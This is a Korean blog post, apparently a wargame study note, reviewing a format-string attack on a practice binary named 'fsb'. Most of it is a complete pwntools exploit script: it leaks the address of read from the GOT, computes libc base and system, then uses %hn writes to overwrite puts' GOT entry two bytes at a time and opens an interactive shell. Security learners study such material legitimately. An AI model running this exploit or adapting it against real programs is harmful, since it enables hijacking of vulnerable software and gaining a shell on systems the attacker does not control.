System Hacking/문제 품

fsb -- $hn사용해서 복습

hanbunny 2025. 4. 23. 15:45

$hn을 사용해서 2바이트씩 주소를 바꿔볼거임.

이렇게 나온다고 쳤을 때

 

%51024d%/ 12$hn%16/ 687d%13$/ hn%30480/ d%14$hn ? / ???????? / got_addr / got_addr +2/ got_addr +4 

6               7               8              9              10             11              12                13                14

|____________________________________________________________|

                                                  48byte

변경한거 : 2바이트씩 shift로 밀어주고 , ff(mod256)을 ffff(mode65536)으로 바꿔줌.

그리고 puts_got도 2바이트씩 바꿔야하기 때문에 +2씩 증가시켜 다음 인덱스에 넣어줌.

 

사용 코드

from pwn import *

p = process('./fsb')
e = ELF('./fsb')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#context.log_level = 'debug'

# 주소leak
read_got = 0x403310
payload = b'%7$sAAAA' + p64(read_got)
p.send(payload)

dummy = p.recvuntil(b'AAAA').split(b'AAAA')[0]
read_addr = dummy.ljust(8, b'\x00')
read_addr = u64(read_addr)

print(f"[+]read_addr: {hex(read_addr)}")

# system 주소 계산
libc_base = read_addr - libc.symbols['read']
print(f"[+] libc_base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols['system']
print(f"[+] system_addr : {hex(system_addr)}")

# count
puts_got = 0x4032f0

b0 = system_addr & 0xffff
b1 = (system_addr >> 16) & 0xffff
b2 = (system_addr >> 32) & 0xffff

written = 0
index6 = f"%{b0}d%12$hn".encode()
written += b0
pad7 = (b1 - written) % 65536
index7 = f"%{pad7}d%13$hn".encode()
written += pad7
pad8 = (b2 - written) % 65536
index8 = f"%{pad8}d%14$hn".encode()
written += pad8

print("index6:", index6)
print("index7:", index7)
print("index8:", index8)

fmt = index6 + index7 + index8
payload2 = fmt.ljust(48, b'A')
payload2 += p64(puts_got) + p64(puts_got+2) + p64(puts_got+4)

pause()
p.send(payload2)

p.interactive()

'System Hacking > 문제 품' 카테고리의 다른 글

fsb  (0) 2025.04.23
diary  (1) 2025.04.17
sf2  (0) 2025.04.13
si - stack pivot  (0) 2025.04.10
sf3  (0) 2025.04.09